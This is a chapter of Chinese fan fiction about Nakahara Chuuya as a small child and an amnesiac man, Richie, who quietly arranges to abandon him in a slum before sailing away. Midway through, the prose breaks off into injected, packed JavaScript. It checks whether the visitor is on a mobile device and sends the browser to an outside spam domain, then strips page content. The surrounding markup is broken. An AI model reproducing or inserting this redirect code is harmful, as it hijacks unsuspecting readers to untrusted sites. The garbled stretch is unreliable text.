Chapter 4
“你回来了！”
又一次欢迎他回来的问候语，自从教会了这孩子这句问候语、并使之明白了这句问候语的社会化逻辑后，每次外出归来时，他都会收获这句问候。
只是今日，一如既往地被问候时，里希一瞬间莫名有些心虚，甚至有些不敢直视这孩子那双看向自己时如此纯粹的蓝色双眸。
放在口袋里的手，也下意识地捏紧了那张三日后离开这里的船票。
“嗯，我回来了。”
面上却还是露出了与平日里别无二致的笑意，另一只手递出了今日份带回来的食物。
中原中也担心又是昨天那坨味道一言难尽还硌得他牙疼的名为面包的东西，略有忐忑地打开包装袋后……
是饭团！
是他喜欢的白饭团，不是那种好难吃的黑面包！
“你今天又遇到做好事的有钱人在送饭团了？”
“不，今天的饭团是我买来的，还记得我告诉过你的什么是‘买东西’吗？”
“嗯，用钱从其他人手里换来想要的东西。”
“很好，中也很聪明呢。”里希当然不指望现在就能教会对方这个问题背后的行为逻辑与经济概念，只要对方能有最基本的认知就足够了，“我手里还有的钱，买上区区几个饭团还是足够的。”
好吧，他承认他确实心虚，今天特意买了对方喜欢的饭团，是有那么点请对方吃顿散伙饭的意思。
只不过里希的这些复杂心思，中原中也是体会不到的，此刻他正全神贯注于今天的食物，并再次发出了单纯的困惑：
“你为什么不吃好吃的饭团，而要吃难吃的面包？”
这可真是个好问题，真要深入回答的话可就牵扯出哲学思考了，里希凝视着自己拿起的这个饭团，自己确实是对这种糯叽叽的食物没多大兴趣：
“所有食物都是大自然的馈赠，没有好吃或是难吃之别，只在于吃的人喜欢还是不喜欢。”
“喜欢？”
“对，让你感到开心就是喜欢。”里希思索了片刻后，举了个最简单直白的例子，“就像，我很喜欢你。”
抛开这段奇妙的缘分不谈，单就这孩子本身而言，里希觉得自己还是挺喜欢这孩子的。
很难不喜欢吧，虽然有点“认知空缺”，但却是那样的纯粹、真诚，甚至其实还挺聪明的。
而中原中也在听了这话后，却是连连后退了两步，认真地说道：
“我不是食物……我也不好吃。”
里希：“……”
可真是个聪明的傻孩子！
……
那是一片浓烈的硝烟，遮天蔽日，仿佛一丝太阳的光亮都无法透入。
血与火弥漫着，绝望的哭喊在耳畔鸣响不绝，然而不远处的枪炮声却依旧永无休止一般。
他茫然无措地站在其中，他也想要哭喊，却发不出声音。
身旁的人看不清面容，但他就是知道那就是他的父母、他的亲人、他的朋友，这些人的身影一个接着一个地倒下了，泯没在这滚滚硝烟中。
绝望地想要拥抱、想要唤回这些人，却发现什么也做不了，自己是如此的无能而又无力。
身在地狱的感觉，大抵就是如此吧……
猛地睁开双眼，嘴巴还如梦里那般张着，喉咙一阵干涩，一时间竟有些找不回自己的声音。
直到双目聚焦，看清目之所及的是屋顶那一片片破旧的木板，里希才终于从刚刚的梦中彻底回神，意识到自己是在远东的一座港口城市里。
而这片大爆炸后外界无人愿意靠近的棚屋区，夜里算得上安静，房间里他那有些凌乱的呼吸声倒成了不小的动静。
手搭上双眼，冷静了片刻后，复盘刚刚那个梦，那个真实到让他遍体生寒的梦。
即便此刻已经完全醒来，但如此刻骨铭心的感觉依旧在他心底挥之不去，到底该是有多么痛苦，才能够即便在失忆的情况下，也依旧入他梦中，成为他挥之不去的梦魇。
梦里的那些，大概率，是真的吧。
轻叹了口气后，起身去喝口水，看到房间里另一边还熟睡着的中原中也时，下意识地放轻脚步走上前去。
睡得可真熟啊，稚嫩的小脸上满满平静，应该没有像他那样做噩梦吧。
但他也说不出什么真羡慕小孩子无忧无虑之类的话，因为这孩子未来过得怕是不会轻松，也不知道在他离开后会怎样。
一瞬间，刚刚梦境里那一声声小孩子的哭喊仿佛再度在耳畔回响。
而那一声声孩童的哭泣里，总觉得有一声……是来自曾经的自己。
眉头不觉间皱起，收回思绪，不再看眼前这孩子那安稳平静的睡颜。
祝你做个好梦，中也。
……
“今天你要带我出去？”
“对，带你去个……更好的地方。”
今日的天气不错，万里晴空，看起来不像是会突发极端天气的样子，这也就意味着……海港的客船，应该能按时启程。
想到今天就将离开这里，饶是里希觉得自己心态一向沉稳，从早上醒来后却也感受到了心头那微微的颤栗。
中原中也自然不会知晓里希的心情，他只知道里希要带他出去玩了，对此还是很兴奋的。
至于更好的地方？中原中也并没有什么概念，因为自他“醒来”后，就一直被里希带着住在这个棚屋里，最多也就是在棚屋周围转一下。因为没有比较物，所以他也没什么好不好的感觉。
不过，里希既然说那个地方更好，那就应该是的吧……毕竟里希就像全知全能一样，似乎什么都知道、什么都能做到，除了说黑面包好吃外，也从来没有骗过他。
好吧，那也不算骗，里希说了，食物没有好吃难吃，只有喜欢或是不喜欢。
这么想着，便跟着里希出了门，去看看外面的世界。
“这是什么？”
“玻璃酒瓶，如果遇到坏人欺负你，你就拿起这个砸对方的头。”
“那里也可以住人吗？”
“桥洞啊，没地方住的人会躲在那里，起码下雨天的时候能避雨。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549630|186775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“这个也是食物吗？”
“别碰，这是香烟……在你没长大前碰这个，会长不高的。”
随便胡诌了个理由，里希将中原中也从地上捡来的香烟头劈手夺过，本能地想要丢进垃圾桶里，但环视一圈后没找到，最后只能又丢回到地上，丢得远远的。
毕竟这里离他们住的棚屋不算远，也是混乱无序的近似贫民窟的地区，生活在这片区域的人连生存下去都够不容易了，就别提环保这种事情了。
而中原中也的关注点则是放在了里希口中的“长大”上：
“长大？那我什么时候，才算是长大？”
又一个好哲学的问题，但七岁的小孩子显然不是探讨哲学问题的理想对象，里希决定从法律定义角度来解答：
“按照这个国家目前的规定，十八岁算成年，也就是成为所谓的大人，对你来说还有十一年，慢慢等吧。”
“十一年后吗？”听到这个数字，中原中也开始用自己有限的数学能力计算起来：“十一年后的话，里希你就已经……”
计算第一步，就遇到棘手问题了，他好像到现在都还不知道里希的年纪。
当看到中原中也朝自己投来的询问目光时，里希也愣了一下，他还真没根据自己身体状况之类的线索推理过自己的年龄。
但也没多想，直接在这小子的年纪上加个二十岁……然后再加一岁？
“二十八岁。”里希面不改色地报年龄，并贴心地直接帮对方计算，“十一年后，我还差一岁就要四十了。”
对于一个还没上过学的七岁小孩来说，要理解这串话是有那么点困难，中原中也已经开始手脑并用地数手指了。
里希却只是笑了笑，没有再多说什么。
十一年后？好遥远啊，遥远到那个时候他们之间早就天各一方，成为就算机缘巧合某日擦肩而过，也早已认不出彼此的陌生人了吧。
况且，童年时代的记忆随着成长总是会渐渐变得模糊，并且被自己的潜意识各种加工，早已不复当年本真的模样……
但愿你到时候已经忘记我了，中也。
一个不告而别的糟糕的大人。
“中也，你坐在那里等我一下，我去买点东西。”
“哦，好。”
……
一个小时，两个小时……
当天边的太阳有了要开始落下的迹象时，明面上离开，实则潜伏在周围偷偷观察着的里希终于有些着急了。
他的船是今晚七点准时开船的，算算从这里到那个港口码头的距离，最迟六点钟，他必须要动身出发去码头。
但是在出发前，至少，至少要让他看到……
仿佛是命运听到了他焦急的祷告，终于，有几个手腕上统一佩戴着蓝色手绳的孩子结队走了过来，走到已经独自坐在那里等待了快三个小时的中原中也面前。
终于……
看到这幕，里希终于松了口气，这下他可以放心离开了。
这次是真的要说再见了。
再见，好好保重啊，中也。